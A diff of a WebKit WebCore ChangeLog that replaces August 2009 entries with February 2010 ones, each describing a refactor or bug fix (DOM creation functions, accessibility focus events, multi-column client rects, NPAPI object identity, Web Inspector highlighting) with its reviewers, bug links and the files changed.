-        (WebCore::Range::processContents): Use DocumentFragment::create.
-
-        * dom/Text.cpp:
-        (WebCore::Text::Text): Updated for base class change.
-        (WebCore::Text::create): Added.
-        (WebCore::Text::splitText): Changed to not require access to m_data.
-        (WebCore::Text::cloneNode): Call create.
-        (WebCore::Text::createRenderer): Call dataImpl.
-        (WebCore::Text::attach): Call data.
-        (WebCore::Text::recalcStyle): Call dataImpl.
-        (WebCore::Text::virtualCreate): Call create.
-        (WebCore::Text::createWithLengthLimit): Call create.
-        (WebCore::Text::formatForDebugger): Call data.
-
-        * dom/Text.h: Added a create function. Made many other members private.
-        Renamed createNew to virtualCreate.
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Many false leaks in release builds due to PtrAndFlags
 
-        * dom/XMLTokenizer.cpp:
-        (WebCore::XMLTokenizer::enterText): Call Text::create.
+        PtrAndFlags has now been removed; remove forwarding header.
 
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::cdataBlock): Call CDATASection::create.
-        (WebCore::XMLTokenizer::comment): Call Comment::create.
+        * ForwardingHeaders/wtf/PtrAndFlags.h: Removed.
 
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::deleteInsignificantText):
-        Call data instead of string.
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
 
-        * editing/CreateLinkCommand.cpp:
-        (WebCore::CreateLinkCommand::doApply): Call Text::create.
+        Reviewed by Geoff Garen.
 
-        * editing/EditorCommand.cpp:
-        (WebCore::executeInsertNode): Call DocumentFragment::create.
+        Bug 34952 - String lengths in UString should be unsigned.
+        This matches WebCore::StringImpl, and better unifies behaviour throughout JSC.
 
-        * editing/SplitTextNodeCommand.cpp:
-        (WebCore::SplitTextNodeCommand::doApply): Call Text::create.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::atob):
+        (WebCore::JSDOMWindow::btoa):
 
-        * editing/markup.cpp:
-        (WebCore::appendStartMarkup): Call data instead of nodeValue.
+2010-02-15  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * html/HTMLDocument.h:
-        (WebCore::HTMLDocument::create): Call adoptRef.
+        Reviewed by Xan Lopez.
 
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::createContextualFragment): Call DocumentFragment::create.
-        (WebCore::replaceChildrenWithFragment): Call data instead of string.
-        (WebCore::replaceChildrenWithText): Call Text::create.
-        (WebCore::HTMLElement::setInnerText): Call DocumentFragment::create and
-        Text::create.
-        (WebCore::HTMLElement::setOuterText): Call Text::create.
+        [GTK] Crashes when going back to a page that has data: URIs, with page cache enabled
+        https://bugs.webkit.org/show_bug.cgi?id=34944
 
-        * html/HTMLKeygenElement.cpp:
-        (WebCore::HTMLKeygenElement::HTMLKeygenElement): Call Text::create.
+        Set the URL in the newly created response, when parsing data:
+        URIs.
 
-        * html/HTMLOptionElement.cpp:
-        (WebCore::HTMLOptionElement::setText): Call Text::create.
+        Test: fast/harness/page-cache-crash-on-data-urls.html
 
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::textCreateErrorCheck): Call Text::create.
-        (WebCore::HTMLParser::commentCreateErrorCheck): Call Comment::create.
-        (WebCore::HTMLParser::handleIsindex): Call Text::create.
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::parseDataUrl):
 
-        * html/HTMLViewSourceDocument.cpp:
-        (WebCore::HTMLViewSourceDocument::addText): Call Text::create.
+2010-02-15  Dan Bernstein  <mitz@apple.com>
 
-        * html/HTMLViewSourceDocument.h:
-        (WebCore::HTMLViewSourceDocument::create): Call adoptRef.
+        Reviewed by Simon Fraser.
 
-        * loader/FTPDirectoryDocument.cpp:
-        (WebCore::FTPDirectoryTokenizer::appendEntry): Call Text::create.
-        (WebCore::FTPDirectoryTokenizer::createTDForFilename): Call Text::create.
-
-        * loader/FTPDirectoryDocument.h:
-        (WebCore::FTPDirectoryDocument::create): Call adoptRef.
-        * loader/ImageDocument.h:
-        (WebCore::ImageDocument::create): Ditto.
-        * loader/MediaDocument.h:
-        (WebCore::MediaDocument::create): Ditto.
-        * loader/PlaceholderDocument.h:
-        (WebCore::PlaceholderDocument::create): Ditto.
-        * loader/PluginDocument.h:
-        (WebCore::PluginDocument::create): Ditto.
-        * loader/TextDocument.h:
-        (WebCore::TextDocument::create): Ditto.
+        <rdar://problem/7647300> Incorrect client rects for blocks the span multiple columns and their descendants
+        https://bugs.webkit.org/show_bug.cgi?id=34923
 
-        * loader/loader.cpp:
-        (WebCore::Loader::Host::didFinishLoading): Use RefPtr instead of DocPtr.
-        (WebCore::Loader::Host::didFail): Ditto.
+        Test: fast/multicol/client-rects.html
 
-        * platform/TreeShared.h:
-        (WebCore::TreeShared::TreeShared): Added an initialRefCount argument,
-        defaulting to 1. Node still sometimes initializes it to 0 instead for now.
+        In column layout, a different transform applies to different points in
+        the block and its descendants, depending on their y coordinate within the
+        block. offsetFromContainer() used to return the offset that applied to
+        the origin. With this change, it returns the offset that applies to a
+        given reference point. When mapping a quad from local to absolute
+        coordinates, the top left of the quad’s bounding box is used as that
+        reference point.
 
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::layout): Pass the caret’s origin as the
+        reference point to offsetFromContainer().
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::adjustForColumns): Adds the offset between the
+        given point and its image under the column paint-time transform to the
+        given offset. Used by offsetFromContainer() where it had previously used
+        adjustRectForColumns(), which takes a rect and operates less efficiently.
+        * rendering/RenderBlock.h:
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::mapLocalToContainer): Pass the transformed point as
+        the reference point to offsetFromContainer().
+        (WebCore::RenderBox::mapAbsoluteToLocalPoint): Pass a point to
+        offsetFromContainer().
+        (WebCore::RenderBox::offsetFromContainer): Use adjustForColumns() instead
+        of adjustRectForColumns(), and use the reference point to get the right
+        adjustment for the point of interest, instead of the origin, in case this
+        box spans multiple columns.
+        * rendering/RenderBox.h:
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::offsetFromContainer): Ditto. Actually apply the
+        column offset to the computation, which previously this function didn’t
+        do.
+        (WebCore::RenderInline::mapLocalToContainer): Pass the transformed point
+        as the reference point to offsetFromContainer().
+        (WebCore::RenderInline::mapAbsoluteToLocalPoint): Pass a point to
+        offsetFromContainer().
+        * rendering/RenderInline.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::mapLocalToContainer): Apply column adjustment,
+        based on the reference point, to the transform if needed.
+        (WebCore::RenderObject::localToContainerQuad): Initialize the
+        TransformState with the top left corner of the quad’s bounding box. It
+        is later used as the reference point when deciding on which column to
+        base the calculations.
+        (WebCore::RenderObject::offsetFromContainer): Adjust for columns.
+        (WebCore::RenderObject::offsetFromAncestorContainer): Pass the origin
+        as the reference point to offsetFromContainer().
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::adjustForColumns): Added.
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::offsetFromContainer): Pass the reference
+        point through.
+        * rendering/RenderTableCell.h:
         * rendering/RenderText.cpp:
-        (WebCore::RenderText::originalText): Use dataImpl instead of string.
-
-        * rendering/RenderTextFragment.cpp:
-        (WebCore::RenderTextFragment::originalText): Use dataImpl instead of string.
-        (WebCore::RenderTextFragment::previousCharacter): Ditto.
-
-        * svg/SVGDocument.h:
-        (WebCore::SVGDocument::create): Use adoptRef.
-
-        * svg/SVGElementInstance.cpp:
-        (WebCore::SVGElementInstance::SVGElementInstance): Updated to take a
-        PassRefPtr.
-
-        * svg/SVGElementInstance.h: Made everything private.
-
-        * wml/WMLDocument.h:
-        (WebCore::WMLDocument::create): Called adoptRef.
-
-        * xml/XPathNamespace.cpp:
-        (WebCore::XPathNamespace::XPathNamespace): Take AtomicString arguments.
-        * xml/XPathNamespace.h: Made everything private.
-
-        * xml/XSLTProcessor.cpp:
-        (WebCore::createFragmentFromSource): Use DocumentFragment::create and
-        Text::create.
-
-2009-08-13  Jon Honeycutt  <jhoneycutt@apple.com>
-
-        Part of <rdar://problem/6218721> No MSAA focus events fired for Webkit
-        nightly (20866)
-
-        https://bugs.webkit.org/show_bug.cgi?id=20866
-
-        Reviewed by Oliver Hunt.
-
-        * accessibility/AXObjectCache.cpp:
-        (WebCore::AXObjectCache::AXObjectCache):
-        Changed to take a pointer to its owner document. This is used by
-        AXObjectCache::handleFocusedUIElementChanged().
-        (WebCore::AXObjectCache::focusedUIElementForPage):
-        Code moved from AccessibilityRenderObject::focusedUIElement(). Modified
-        to be a static function and to take a pointer to a Page.
-        (WebCore::AXObjectCache::platformGenerateAXID):
-        Moved the code to generate the next AXID from getAXID() to here. Added
-        a #if to make this non-WIN only, because Windows has its own
-        implementation.
-        (WebCore::AXObjectCache::getAXID):
-        Ensure that we generate a positive AXID, ranging from 1 to LONG_MAX.
-
-        * accessibility/AXObjectCache.h:
-        Add a declaration for Document and Page. Removed the declaration of
-        AccessibilityObject, because we include the header. Reordered the
-        declaration of Node alphabetically. Moved the typedef for AXID to
-        AccessibilityObject. Removed some trailing whitespace. Added a member
-        variable to hold a pointer to the owner Document.
-        (WebCore::AXObjectCache::AXObjectCache):
-        Changed to take a pointer to its owner Document.
-        (WebCore::AXObjectCache::focusedUIElementForPage):
-        Added; code moved from AccessiblityRenderObject::focusedUIElement().
-        Returns the focused element with respect to accessibility.
-        (WebCore::AXObjectCache::platformGenerateAXID):
-        Declare a function to generate an AXID.
-        (WebCore::AXObjectCache::objectFromAXID):
-        Return the AccessibilityObject with the given AXID.
-
-        * accessibility/AccessibilityObject.h:
-        Moved the typedef for AXID from AXObjectCache to here. Made the m_id
-        member use the typedef.
-        (WebCore::AccessibilityObject::axObjectID):
-        Changed the return type to use the typedef.
-        (WebCore::AccessibilityObject::setAXObjectID):
-        Changed the argument type to use the typedef.
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        Removed some unneeded #includes.
-        (WebCore::AccessibilityRenderObject::focusedUIElement):
-        Moved the code to AXObjectCache::focusedUIElementForPage(), which we now
-        call.
-
-        * accessibility/win/AXObjectCacheWin.cpp:
-        (WebCore::AXObjectCache::platformGenerateAXID):
-        Ensure that we generate an AXID that is in the range 1 to LONG_MAX.
-        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
-        If the Document has no Page, return. If the Page has not focused
-        element (respecting accessibility), return. Assert that the
-        accessibility of the focused element is not ignored, and that the
-        object's AXID will be negative and fit into a LONG when negated.
-        Broadcast a focus event for the object.
-
-        * dom/Document.cpp:
-        (WebCore::Document::axObjectCache):
-        Pass this when creating the AXObjectCache.
-        (WebCore::Document::setFocusedNode):
-        Call AXObjectCache::handleFocusedUIElementChanged() on Windows.
-
-2009-08-14  Jiahua Huang  <jhuangjiahua@gmail.com>
-
-        Reviewed by Jan Alonzo.
-
-        [gtk] Pasteboard/GtkClipboard can't handle the "text/html" target.
-        https://bugs.webkit.org/show_bug.cgi?id=27028
-
-        Remove the improper set of enum WebKitWebViewTargetInfo
-        by grabbing the target infos via m_helper.
-
-        * manual-tests/gtk/copy-htmltext.html: Added.
-        * platform/Pasteboard.h:
-        * platform/gtk/PasteboardGtk.cpp:
-        (WebCore::clipboard_get_contents_cb):
-        * platform/gtk/PasteboardHelper.h:
-
-2009-08-14  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Fix an assertion when bringing up the Inspector.
-        https://bugs.webkit.org/show_bug.cgi?id=28318
-        
-        The fix for bug 28295 assumed that image clients count the number of times
-        addClient/removeClient is called. That was true for CachedResource clients,
-        but not StyleGeneratedImage clients, which pass the call onto CSSImageGeneratorValue.
-        
-        Fix by making CSSImageGeneratorValue count the number of times a client is
-        added/removed.
-
-        * css/CSSCanvasValue.cpp:
-        (WebCore::CSSCanvasValue::canvasChanged):
-        (WebCore::CSSCanvasValue::canvasResized):
-        * css/CSSImageGeneratorValue.cpp:
-        (WebCore::CSSImageGeneratorValue::addClient):
-        (WebCore::CSSImageGeneratorValue::removeClient):
-        (WebCore::CSSImageGeneratorValue::getImage):
-        * css/CSSImageGeneratorValue.h:
-
-2009-08-14  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Kevin Ollivier.
-
-        Correct libcurl crash when downloading local files.
-        https://bugs.webkit.org/show_bug.cgi?id=28312
-
-        No new tests. Test is covered by fast/encoding/char-encoding-mac.html.
-
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::handleLocalReceiveResponse): New static function that
-          performs the local setting of valid URL and firing didReceiveResponse.
-          This code was moved from writeCallback.
-        (WebCore::writeCallback): Move local file handling to static function
-          (above) and use the function instead.
-        (WebCore::readCallback): Add check
-          for responseFired, and handle as a local file if it was not.
-
-2009-08-14  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
-
-        [Haiku] Fix RenderThemeHaiku build.
-        https://bugs.webkit.org/show_bug.cgi?id=28307
-
-        * platform/haiku/RenderThemeHaiku.cpp: Included RenderThemeHaiku.h
-        instead of RenderTheme.h.
-        (WebCore::RenderThemeHaiku::paintCheckbox): Removed the wrong 'virtual'
-        before the function.
-        (WebCore::RenderThemeHaiku::paintRadio): Removed the wrong 'virtual'
-        before the function.
-        * platform/haiku/RenderThemeHaiku.h: Corrected wrong function definitions.
-
-2009-08-14  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Oliver Hunt.
-
-        [Haiku] Adding SharedBufferHaiku to WebCore.
-        https://bugs.webkit.org/show_bug.cgi?id=28309
-
-        * platform/haiku/SharedBufferHaiku.cpp: Added.
-        (WebCore::SharedBuffer::createWithContentsOfFile):
-        * platform/haiku/TemporaryLinkStubs.cpp: Removed unnecessary headers
-        and functions.
-        (WebCore::signedPublicKeyAndChallengeString):
-        (WebCore::getSupportedKeySizes):
-
-2009-08-14  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Ensure we're getting the right v8 context in the V8 DOMWindowEvent custom getter.
+        (WebCore::RenderText::absoluteRectsForRange): Map (the origin of) each
+        rect to absolute coordinates individually.
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::convertToPaintingRect): Pass a point to
+        offsetFromContainer().
 
-        https://bugs.webkit.org/show_bug.cgi?id=28311
+2010-02-12  Alexey Proskuryakov  <ap@apple.com>
 
-        This should fix Chromium failing LayoutTests/fast/events/set-event-in-another-frame.html.
+        Reviewed by Kevin Decker.
 
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
+        <rdar://problem/7130641> Browser objects identity is not preserved by Safari
 
-2009-08-14  Aaron Boodman  <aa@chromium.org>
+        Test: plugins/netscape-browser-object-identity.html
 
-        Reviewed by Alexey Proskuryakov.
+        * bridge/runtime_root.h: (JSC::Bindings::RootObject::addInvalidationCallback):
+        RootObject can now call out during invalidation, making it possible for other code to know
+        when this happens.
 
-        BUG 28134: Move the remaining parts of Access Control from XMLHttpRequest to ThreadableDocumentLoader.
-        https://bugs.webkit.org/show_bug.cgi?id=28134
-
-        No new tests added since Access Control was already well tested and this is a pure refactor.
-
-        * loader/DocumentThreadableLoader.cpp: Move a lot of the access control code from XHR in, preserving its
-        basic strategy. Also, modify the synchronous path to not be a special case, but reuse more of the async
-        path.
-
-        (WebCore::DocumentThreadableLoader::loadResourceSynchronously): Go through the async path and pass additional flags.
-        (WebCore::DocumentThreadableLoader::create): Group enum params into an options struct.
-        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader): Ditto.
-        (WebCore::DocumentThreadableLoader::makeSimpleCrossOriginAccessRequest): Brought mostly from XHR.
-        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight): Ditto.
-        (WebCore::DocumentThreadableLoader::willSendRequest): Handle preflight case.
-        (WebCore::DocumentThreadableLoader::didReceiveResponse): Ditto.
-        (WebCore::DocumentThreadableLoader::didFinishLoading): Ditto.
-        (WebCore::DocumentThreadableLoader::getShouldUseCredentialStorage): Ditto.
-        (WebCore::DocumentThreadableLoader::preflightSuccess): Preflight handling.
-        (WebCore::DocumentThreadableLoader::preflightFailure): Ditto.
-        (WebCore::DocumentThreadableLoader::loadRequest): Common request function that handles async/sync.
-        * loader/DocumentThreadableLoader.h: Group enum params into an options struct.
-        * loader/ThreadableLoader.cpp: Ditto.
-        (WebCore::ThreadableLoader::create): Ditto.
-        (WebCore::ThreadableLoader::loadResourceSynchronously): Ditto.
-        * loader/ThreadableLoader.h: Ditto.
-        (WebCore::ThreadableLoaderOptions::ThreadableLoaderOptions): Ditto.
-        * loader/WorkerThreadableLoader.cpp: Ditto.
-        (WebCore::WorkerThreadableLoader::WorkerThreadableLoader):Ditto.
-        (WebCore::WorkerThreadableLoader::loadResourceSynchronously): Ditto.
-        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge): Ditto.
-        (WebCore::WorkerThreadableLoader::MainThreadBridge::mainThreadCreateLoader): Ditto.
-        * loader/WorkerThreadableLoader.h: Ditto.
-        (WebCore::WorkerThreadableLoader::create): Ditto.
-        * platform/CrossThreadCopier.h: Allow ThreadableLoaderOptions to be copied across threads.
-        (WebCore::):
-        * workers/WorkerScriptLoader.cpp: More enum->struct grouping.
-        (WebCore::WorkerScriptLoader::loadSynchronously): More enum->struct grouping.
-        (WebCore::WorkerScriptLoader::loadAsynchronously): More enum->struct grouping.
-        * xml/XMLHttpRequest.cpp: Remove all the access control code and some supporting state.
-        (WebCore::XMLHttpRequest::XMLHttpRequest): Ditto.
-        (WebCore::XMLHttpRequest::createRequest): Ditto.
-        (WebCore::XMLHttpRequest::didFinishLoading): Ditto.
-        (WebCore::XMLHttpRequest::didReceiveResponse): Ditto.
-        (WebCore::XMLHttpRequest::didReceiveData): Ditto.
-        * xml/XMLHttpRequest.h: Ditto.
-
-2009-08-14  Darin Adler  <darin@apple.com>
+        * bridge/runtime_root.cpp:
+        (JSC::Bindings::RootObject::InvalidationCallback::~InvalidationCallback): Empty destructor,
+        in cpp file since it's virtual.
+        (JSC::Bindings::RootObject::invalidate): Invoke invalidation callbacks.
 
-        Reviewed by Sam Weinig.
-
-        Rename the confusing isObject(<class>) to inherits(<class>).
-        It still works on non-objects, returning false.
-
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toEventTarget):
-        * bindings/js/JSGeolocationCustom.cpp:
-        (WebCore::createPositionCallback):
-        (WebCore::createPositionErrorCallback):
-        * bindings/js/JSNodeFilterCustom.cpp:
-        (WebCore::toNodeFilter):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::send):
-        * bindings/js/JSXSLTProcessorCustom.cpp:
-        (WebCore::JSXSLTProcessor::importStylesheet):
-        (WebCore::JSXSLTProcessor::transformToFragment):
-        (WebCore::JSXSLTProcessor::transformToDocument):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/objc/objc_runtime.mm:
-        (JSC::Bindings::callObjCFallbackObject):
-        * bridge/runtime_method.cpp:
-        (JSC::callRuntimeMethod):
-        Updated to new name, inherits, from old name, isObject.
+        * bridge/NP_jsobject.cpp:
+        (ObjectMap): Keep a JSObject->NPObject map for each RootObject. It somewhat cleaner to
+        keep it outside RootObject, because (1) it is agnostic of what kinds of objects can wrap
+        JSObject, and (2) out of process NPAPI implementation also keeps its corresponding map
+        separately, due to supporting per-instance granularity (as opposed to per-RootObject here).
+        (jsDeallocate): Remove the corresponding map entry.
+        (_NPN_CreateScriptObject): Try to fetch existing object from the map, incrementing refcount.
 
-2009-08-14  Yael Aharon  <yael.aharon@nokia.com>
+2010-02-15  Philippe Normand  <pnormand@igalia.com>
 
-        Reviewed by Simon Hausmann.
+        Rubber-stamped by Gustavo Noronha Silva.
 
-        Allow Qt API to list and to remove URL schemes that were registered as
-        local URL schemes.
-        [Qt] Allow applications to register their own local URL scheme.
-        https://bugs.webkit.org/show_bug.cgi?id=28240
+        Removed redefine of LOG_VERBOSE. This should not have commited in
+        the first place.
 
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::removeURLSchemeRegisteredAsLocal):
-        (WebCore::SecurityOrigin::localURLSchemes):
-        * page/SecurityOrigin.h:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
 
-2009-08-14  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-15  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        WebInspector: Wrap console objects late (in the frontend) so that injected
-        script was already in place.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28297
-
-        * inspector/ConsoleMessage.cpp:
-        (WebCore::ConsoleMessage::ConsoleMessage):
-        * inspector/ConsoleMessage.h:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addMessageToConsole):
-        (WebCore::InspectorController::startGroup):
-        (WebCore::InspectorController::setFrontendProxyObject):
-        * inspector/InspectorController.h:
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::InspectorFrontend):
-        (WebCore::InspectorFrontend::addMessageToConsole):
-        * inspector/InspectorFrontend.h:
-
-2009-08-13  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Fix logic in RenderObject::updateFillImages() that led to incorrect client
-        counts if an image was used twice in the background-image property.
-        https://bugs.webkit.org/show_bug.cgi?id=28295
-
-        Test: fast/backgrounds/multiple-backgrounds-assert.html
-
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::updateFillImages):
-        Simplify the logic to call addClient()/removeClient() for every background
-        image, but go through the new layers first to avoid removing all the
-        clients of an image.
-
-2009-08-13  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Devirtualise marking
-        https://bugs.webkit.org/show_bug.cgi?id=28294
-
-        Make sure we override the JSObject createStructure method on those
-        objects that have custom marking routines.
-
-        * bindings/scripts/CodeGeneratorJS.pm:
-
-2009-08-13  Darin Adler  <darin@apple.com>
+        Web Inspector: incorrect syntax highlighting as HTML in a script tag.
+        We were preserving initial lexer state upon entering other tags while in <script>
+        but were not doing it for <script tag itself. As a result, nested script
+        tags were failing to highlight.
 
-        Reviewed by Mark Rowe.
-
-        Follow-up to earlier work to remove dependencies on JavaScriptCore.
-
-        * ForwardingHeaders/parser/Parser.h: Removed.
-        * inspector/JavaScriptDebugServer.cpp: Removed now-unneeded includes
-        of Parser.h.
-
-2009-08-13  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Eric Seidel.
+        https://bugs.webkit.org/show_bug.cgi?id=34934
 
-        'box-orient: block-axis' behaves like 'box-orient: horizontal', causes
-        an assertion failure in debug builds
-        https://bugs.webkit.org/show_bug.cgi?id=28279
+        * inspector/front-end/SourceHTMLTokenizer.js:
+        (WebInspector.SourceHTMLTokenizer.prototype.nextToken):
+        * inspector/front-end/SourceHTMLTokenizer.re2js:
 
-        Test: fast/flexbox/block-axis.html
-
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::operator EBoxOrient): Map block-axis to
-        vertical.
-
-2009-08-13  Simon Fraser  <simon.fraser@apple.com>
+2010-02-15  Brady Eidson  <beidson@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        Fix crash when removing reflection on an absolutely-positioned image.
-        https://bugs.webkit.org/show_bug.cgi?id=28289
-        
-        Make sure we clean up the reflection layer when removing the reflection,
-        so that the RenderLayer tree does not contain pointers to deleted layers.
-
-        Test: fast/reflections/reflected-img-crash.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::~RenderLayer):
-        (WebCore::RenderLayer::styleChanged):
-        (WebCore::RenderLayer::removeReflection):
-        * rendering/RenderLayer.h:
-
-2009-08-13  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        misalignment because of float:left of <div> tag
-        https://bugs.webkit.org/show_bug.cgi?id=15869
-
-        One section of http://edgar.sec.gov site draws to the right of the rest
-        of the content
-        <rdar://problem/7135951>
-
-        Tests: fast/block/float/avoidance-percent-width-compat.html
-               fast/block/float/avoidance-percent-width-strict.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::getClearDelta): Changed to apply the same float
-            avoidance logic in strict mode and in compatibility mode, which
-            matches Firefox and IE. Changed to compute and use the computed
-            width of the child, instead of ignoring non-fixed widths.
-
-2009-08-13  Steve Block  <steveblock@google.com>
-
-        Reviewed by Darin Adler.
-
-        Geolocation PositionOptions does not use correct default values.
-        https://bugs.webkit.org/show_bug.cgi?id=27254
-
-        Sets the correct default values for the properties of the PositionOptions object
-        passed to Geolocation methods. See http://www.w3.org/TR/geolocation-API/.
-
-        Also adds checking to throw an exception if arguments of the incorrect type are
-        passed to Geolocation methods. Adds a layout test to test this. This test should
-        pass on all platforms where Geolocation is implemented.
-
-        Test: fast/dom/Geolocation/argument-types.html
-
-        * bindings/js/JSGeolocationCustom.cpp:
-        (WebCore::createPositionCallback): Added. Creates the callback.
-        (WebCore::createPositionErrorCallback): Added. Creates the calback.
-        (WebCore::createPositionOptions): Added. Creates the PositionOptions object, setting defaults where required.
-        (WebCore::JSGeolocation::getCurrentPosition): Modified. Now uses above helper functions.
-        (WebCore::JSGeolocation::watchPosition): Modified. Now uses above helper functions.
-        * page/Geolocation.cpp:
-        (WebCore::Geolocation::GeoNotifier::GeoNotifier): Modified. Asserts that PositionOptions object is present.
-        (WebCore::Geolocation::GeoNotifier::startTimer): Modified. Only starts timer if timeout has been set.
-        * page/PositionOptions.h:
-        (WebCore::PositionOptions::create): Modified. Creates object with default values.
-        (WebCore::PositionOptions::timeout): Modified. Uses correct type.
-        (WebCore::PositionOptions::hasTimeout): Added. Determines whether a timeout has been set.
-        (WebCore::PositionOptions::setTimeout): Modified. Uses correct type.
-        (WebCore::PositionOptions::maximumAge): Modified. Uses correct type.
-        (WebCore::PositionOptions::setMaximumAge): Modified. Uses correct type.
-        (WebCore::PositionOptions::PositionOptions): Modified. Creates object with default values.
-
-2009-08-13  David Levin  <levin@chromium.org>
-
-        Unreviewed chromium build fix.
-
-        [Chromium] Let CodeGeneratorV8.pm know that RGBColor is ref-counted.
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-
-2009-08-13  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Merge error in SharedWorker code
-        https://bugs.webkit.org/show_bug.cgi?id=28277
-
-        Fixed merge error that prevents WebKit from compiling with SHARED_WORKERS enabled.
-        No new tests needed.
+        Add a progress-indicator logging channel to WebCore, and convert the old WebKit Logging
+        messages over to WebCore-style.
 
-        * workers/DefaultSharedWorkerRepository.cpp:
-        Removed duplicated functions.
+        No new tests. (Logging changes only)
 
-2009-08-13  Kyle Prete  <kylep@chromium.org>
+        * loader/ProgressTracker.cpp:
+        (WebCore::ProgressTracker::progressStarted):
+        (WebCore::ProgressTracker::progressCompleted):
+        (WebCore::ProgressTracker::finalProgressComplete):
+        (WebCore::ProgressTracker::incrementProgress):
 
-        Reviewed by Dave Levin.
+        * platform/Logging.cpp:
+        (WebCore::):
+        (WebCore::getChannelFromName):
+        * platform/Logging.h:
 
-        Chromium: Show a "Playback Disabled" button on media error.
-        https://bugs.webkit.org/show_bug.cgi?id=28196
-        Use a disabled play button when the media file cannot be played.
+2010-02-15  Noam Rosenthal  <noam.rosenthal@nokia.com>
 
-        No new tests needed. Covered by LayoutTests/media/video-empty-source.html
+        Reviewed by Simon Hausmann.
 
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
+        [Qt] QtWebkit bridge: enable passing a QWebElement to a signal/slot/property
+        https://bugs.webkit.org/show_bug.cgi?id=34901
 
-2009-08-13  Mark Rowe  <mrowe@apple.com>
+        When a signal/slot/property is of type QWebElement, it can seamlessly
+        connect with JS objects that hold a WebCore element.
 
-        Try and fix the Qt build.
+        New tests, see WebKit/qt/ChangeLog
 
         * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtWebElementRuntime::create): A proxy to QWebElement
+        constructor
+        (JSC::Bindings::QtWebElementRuntime::get): A proxy to
+        QWebElement::element
+        (JSC::Bindings::convertValueToQVariant): handle QWebElement
+        (JSC::Bindings::convertQVariantToValue): handle QWebElement
 
-2009-08-13  Zan Dobersek  <zandobersek@gmail.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] Drag and drop support
-        https://bugs.webkit.org/show_bug.cgi?id=23642
-
-        Utilizes functions that are being called upon drag and drop actions.
-        Uses different GTK clipboards that hold different types
-        of drag data - images, HTML markup, text, URL, URL label.
-        Also clears each clipboard before setting new data to it.
-
-        No new tests - despite some implementations, no new functionality
-        is added until implementations of the GTK drag and drop protocol
-        in WebKit part.
-
-        * platform/gtk/ClipboardGtk.cpp:
-        (WebCore::ClipboardGtk::ClipboardGtk):
-        (WebCore::ClipboardGtk::~ClipboardGtk):
-        (WebCore::getCachedImage):
-        (WebCore::ClipboardGtk::declareAndWriteDragImage):
-        (WebCore::ClipboardGtk::writeURL):
-        (WebCore::ClipboardGtk::writeRange):
-        * platform/gtk/ClipboardGtk.h: ClipboardGdk -> ClipboardGtk
-
-2009-08-13  Darin Adler  <darin@apple.com>
-
-        Reviewed by David Levin.
-
-        JavaScriptCore tweaks to get ready for the parser arena
-        https://bugs.webkit.org/show_bug.cgi?id=28243
-
-        * ForwardingHeaders/runtime/CollectorHeapIterator.h: Removed.
+2010-02-15  Pavel Feldman  <pfeldman@chromium.org>
 
-        * WebCore.xcodeproj/project.pbxproj: Exposed a couple header
-        files as Private that are now needed to compile Mac WebKit.
+        Not reviewed, Chromium build fix (force conversion of property names to
+        strings in Web Inspector's injected script).
 
